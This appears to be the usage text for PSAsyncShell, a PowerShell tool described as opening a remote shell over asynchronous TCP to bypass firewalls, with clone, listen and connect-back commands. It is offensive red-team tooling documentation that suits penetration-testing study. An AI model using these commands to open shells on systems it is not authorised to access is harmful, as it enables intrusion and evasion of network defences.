git clone https://github.com/JoelGMSec/PSAsyncShell

.\PSAsyncShell.ps1 -h

  ____  ____    _                         ____  _          _ _
 |  _ \/ ___|  / \   ___ _   _ _ __   ___/ ___|| |__   ___| | |
 | |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
 |  __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | |  __/ | |
 |_|   |____/_/   \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
                         |___/

  ---------------------- by @JoelGMSec -----------------------

 Info:  This tool helps you to get a remote shell
        over asynchronous TCP to bypass firewalls

 Usage: .\PSAsyncShell.ps1 -s -p listen_port
          Listen for a new connection from the client

        .\PSAsyncShell.ps1 -c server_ip server_port
          Connect the client to a PSAsyncShell server

 Warning: All data will be sent unencrypted
          Upload function doesn't use MultiPart